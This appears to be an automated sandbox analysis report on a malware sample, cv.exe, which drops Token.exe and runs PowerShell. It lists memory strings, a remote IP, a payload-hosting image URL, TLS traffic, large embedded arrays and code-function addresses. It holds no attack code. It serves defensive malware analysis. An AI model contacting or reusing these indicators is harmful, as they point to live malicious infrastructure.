Source: Token.exe, 00000010.00000002.2713844130.0000000009294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purl.oen
Source: cv.exe, 00000005.00000002.2097055052.0000000005E35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mic
Source: cv.exe, 00000005.00000002.2098567404.0000000005F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsof
Source: powershell.exe, 0000000E.00000002.2124750694.00000170A5EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: cv.exe, 00000000.00000002.2034517758.0000000003001000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2058907435.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2124750694.00000170A5C81000.00000004.00000800.00020000.00000000.sdmp, Token.exe, 00000010.00000002.2637083243.0000000002971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000E.00000002.2124750694.00000170A5EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000E.00000002.2124750694.00000170A5EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 2D85F72862B55C4EADD9E66E06947F3D0.6.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: powershell.exe, 0000000E.00000002.2124750694.00000170A5C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000E.00000002.2204124523.00000170B5CEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000E.00000002.2204124523.00000170B5CEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000E.00000002.2204124523.00000170B5CEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000E.00000002.2124750694.00000170A5EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: cv.exe, 00000000.00000002.2034517758.0000000003001000.00000004.00000800.00020000.00000000.sdmp, Token.exe, 00000010.00000002.2637083243.0000000002971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://i.ibb.co
Source: cv.exe, 00000000.00000002.2034517758.0000000003001000.00000004.00000800.00020000.00000000.sdmp, Token.exe, 00000010.00000002.2637083243.0000000002971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://i.ibb.co/4VpfCKs/pilotxprograms-Final.jpg
Source: powershell.exe, 0000000E.00000002.2204124523.00000170B5CEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: cv.exe, Token.exe.5.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2058907435.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: ReaderMessages.4.dr	String found in binary or memory: https://www.adobe.co
Source: cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000000.00000002.2082379137.000000000A230000.00000004.08000000.00040000.00000000.sdmp, Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.anon.com/frit/asfta.dara

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 91.134.10.168:443 -> 192.168.2.10:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.134.10.168:443 -> 192.168.2.10:49732 version: TLS 1.2

System Summary

.NET source code contains very large array initializations

Source: 0.2.cv.exe.4c81ab8.1.raw.unpack, OperationalSorter.cs	Large array initialization: SortDetachedSorter: array initializer size 543264
Source: 0.2.cv.exe.4b97c02.0.raw.unpack, OperationalSorter.cs	Large array initialization: SortDetachedSorter: array initializer size 543264

Detected potential unwanted application

Source: cv.exe

PE Siganture Subject Chain: CN=Tim Kosse, O=Tim Kosse, S=Nordrhein-Westfalen, C=DE

Source: C:\Users\user\Desktop\cv.exe

Code function: 0_2_06894B40 CreateProcessAsUserW,

0_2_06894B40

Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_01414D5A	0_2_01414D5A
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_01417398	0_2_01417398
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_01417B00	0_2_01417B00
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0141E638	0_2_0141E638
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_05008464	0_2_05008464
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0500ACB8	0_2_0500ACB8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0500ACC7	0_2_0500ACC7
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0500ACC8	0_2_0500ACC8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0506EA80	0_2_0506EA80
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0674CF78	0_2_0674CF78
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06743D60	0_2_06743D60
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06747B0B	0_2_06747B0B
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_067498A0	0_2_067498A0
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0674AE18	0_2_0674AE18
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0674DAD8	0_2_0674DAD8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_067443A0	0_2_067443A0
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0674438D	0_2_0674438D
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06746050	0_2_06746050
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06740040	0_2_06740040
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06746042	0_2_06746042
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06740007	0_2_06740007
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0674F1F0	0_2_0674F1F0
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06816290	0_2_06816290
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0681EAC0	0_2_0681EAC0
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06813328	0_2_06813328
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_068198E8	0_2_068198E8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06815000	0_2_06815000
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0681CEB8	0_2_0681CEB8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0681E2B8	0_2_0681E2B8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_068196D0	0_2_068196D0
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_068196E0	0_2_068196E0
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06819238	0_2_06819238
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06819248	0_2_06819248
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0681A3A3	0_2_0681A3A3
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_068143C7	0_2_068143C7
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06814FE1	0_2_06814FE1
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06818BE8	0_2_06818BE8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06818BF8	0_2_06818BF8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06818080	0_2_06818080
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06815883	0_2_06815883
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06818090	0_2_06818090
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0681DCB8	0_2_0681DCB8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06810007	0_2_06810007
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06810040	0_2_06810040
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06819440	0_2_06819440
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06819450	0_2_06819450
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_068954C8	0_2_068954C8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06895220	0_2_06895220
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06893008	0_2_06893008
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0689C490	0_2_0689C490
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0689040B	0_2_0689040B
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06890462	0_2_06890462
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0689BC70	0_2_0689BC70
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06895AC2	0_2_06895AC2
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06895210	0_2_06895210
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06893310	0_2_06893310
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06893320	0_2_06893320
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06890007	0_2_06890007
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06898048	0_2_06898048
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06890040	0_2_06890040
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06898058	0_2_06898058
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0689986D	0_2_0689986D
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06892990	0_2_06892990
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_068929A0	0_2_068929A0
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_068939EC	0_2_068939EC
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BC3EF3	0_2_06BC3EF3
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BCC2E5	0_2_06BCC2E5
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BC0006	0_2_06BC0006
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BDE878	0_2_06BDE878
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BD8470	0_2_06BD8470
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BC0040	0_2_06BC0040
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BDD5E0	0_2_06BDD5E0
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BDEB40	0_2_06BDEB40
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2E620	0_2_06C2E620
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2A178	0_2_06C2A178
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C1AAF2	0_2_06C1AAF2
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C276FA	0_2_06C276FA
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C1FC9C	0_2_06C1FC9C
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2B89D	0_2_06C2B89D
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2BEA4	0_2_06C2BEA4
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C10040	0_2_06C10040
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2D640	0_2_06C2D640
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C24E4E	0_2_06C24E4E
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2E610	0_2_06C2E610
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C10021	0_2_06C10021
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2B82B	0_2_06C2B82B
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C1D3C3	0_2_06C1D3C3
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C17FE8	0_2_06C17FE8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2EDEF	0_2_06C2EDEF
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2CB99	0_2_06C2CB99
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2CBA8	0_2_06C2CBA8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2A14F	0_2_06C2A14F
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2A177	0_2_06C2A177
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C22575	0_2_06C22575
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2A13F	0_2_06C2A13F
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06D3E968	0_2_06D3E968
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06D20040	0_2_06D20040
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06D20007	0_2_06D20007
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06D38630	0_2_06D38630
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_08272960	0_2_08272960
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0827F448	0_2_0827F448
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_08270022	0_2_08270022
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_08270040	0_2_08270040
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_08271080	0_2_08271080
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_082711C8	0_2_082711C8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_08275B68	0_2_08275B68
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_08275B88	0_2_08275B88
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0827F439	0_2_0827F439
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_082715F2	0_2_082715F2
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_08271600	0_2_08271600
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_082746F0	0_2_082746F0
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_08274700	0_2_08274700
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0832C9A0	0_2_0832C9A0
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0832ECE8	0_2_0832ECE8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_08320027	0_2_08320027
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_08320040	0_2_08320040
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_02C276C8	5_2_02C276C8
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_02C21F98	5_2_02C21F98
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_02C21FA8	5_2_02C21FA8
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_02C24DA1	5_2_02C24DA1
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_02C24DB0	5_2_02C24DB0
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053710A1	5_2_053710A1
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_05372148	5_2_05372148
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_0537E1C0	5_2_0537E1C0
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_0537E305	5_2_0537E305
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053713D7	5_2_053713D7
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_05389CC9	5_2_05389CC9
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053824CB	5_2_053824CB
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_05389148	5_2_05389148
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053887A0	5_2_053887A0
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_05388790	5_2_05388790
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_05389138	5_2_05389138
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_0538337C	5_2_0538337C
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_0538926D	5_2_0538926D
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A3518	5_2_053A3518
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A8478	5_2_053A8478
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A6728	5_2_053A6728
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A5B10	5_2_053A5B10
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A7BF8	5_2_053A7BF8
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A1BE8	5_2_053A1BE8
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A3508	5_2_053A3508
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A8469	5_2_053A8469
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A84FC	5_2_053A84FC
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A70E0	5_2_053A70E0
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A5E58	5_2_053A5E58
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A8891	5_2_053A8891
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A7BE8	5_2_053A7BE8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_00E94D5B	16_2_00E94D5B
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_00E97398	16_2_00E97398
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_00E99678	16_2_00E99678
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_00E97B00	16_2_00E97B00
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_00E9E5B8	16_2_00E9E5B8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_027AA2C4	16_2_027AA2C4
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_027A8464	16_2_027A8464
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_027AC871	16_2_027AC871
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_027AACC8	16_2_027AACC8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_027AACB8	16_2_027AACB8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0280EA80	16_2_0280EA80
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0605CF78	16_2_0605CF78
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06053D60	16_2_06053D60
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_060598A0	16_2_060598A0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0605AE18	16_2_0605AE18
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0605DAD8	16_2_0605DAD8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0605438D	16_2_0605438D
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_060543A0	16_2_060543A0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06050006	16_2_06050006
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06050040	16_2_06050040
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06056043	16_2_06056043
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06056050	16_2_06056050
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0605F1F0	16_2_0605F1F0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06215020	16_2_06215020
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06212C68	16_2_06212C68
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06214D78	16_2_06214D78
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06213638	16_2_06213638
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06212600	16_2_06212600
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06210007	16_2_06210007
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0621040B	16_2_0621040B
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0621561A	16_2_0621561A
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06210462	16_2_06210462
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06210040	16_2_06210040
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06214D6A	16_2_06214D6A
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06212F71	16_2_06212F71
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06212F80	16_2_06212F80
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_064EE878	16_2_064EE878
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_064E8000	16_2_064E8000
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_064ED42F	16_2_064ED42F
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_064ED491	16_2_064ED491
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_064EEB40	16_2_064EEB40
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_064ED5E0	16_2_064ED5E0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0651EE60	16_2_0651EE60
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0651EAC0	16_2_0651EAC0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06516290	16_2_06516290
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06513328	16_2_06513328
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06510040	16_2_06510040
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06515000	16_2_06515000
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_065198E8	16_2_065198E8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06515883	16_2_06515883
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06519248	16_2_06519248
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06519238	16_2_06519238
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_065196D0	16_2_065196D0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_065196E0	16_2_065196E0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06517684	16_2_06517684
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0651CEB8	16_2_0651CEB8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0651E2B8	16_2_0651E2B8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_065143C7	16_2_065143C7
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06518BF8	16_2_06518BF8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06514FE1	16_2_06514FE1
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06518BE8	16_2_06518BE8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0651A3A2	16_2_0651A3A2
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06514FA5	16_2_06514FA5
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06519450	16_2_06519450
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06519440	16_2_06519440
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06510006	16_2_06510006
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06518090	16_2_06518090
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06518080	16_2_06518080
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0651DCB8	16_2_0651DCB8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653A178	16_2_0653A178
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653E620	16_2_0653E620
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653B85C	16_2_0653B85C
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653D640	16_2_0653D640
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653A14B	16_2_0653A14B
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653A172	16_2_0653A172
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653E611	16_2_0653E611
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06539000	16_2_06539000
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653A13F	16_2_0653A13F
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653A125	16_2_0653A125
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653B82B	16_2_0653B82B
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653EDEF	16_2_0653EDEF
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653B894	16_2_0653B894
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653CB99	16_2_0653CB99
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653BEA4	16_2_0653BEA4
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0653CBA8	16_2_0653CBA8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06630040	16_2_06630040
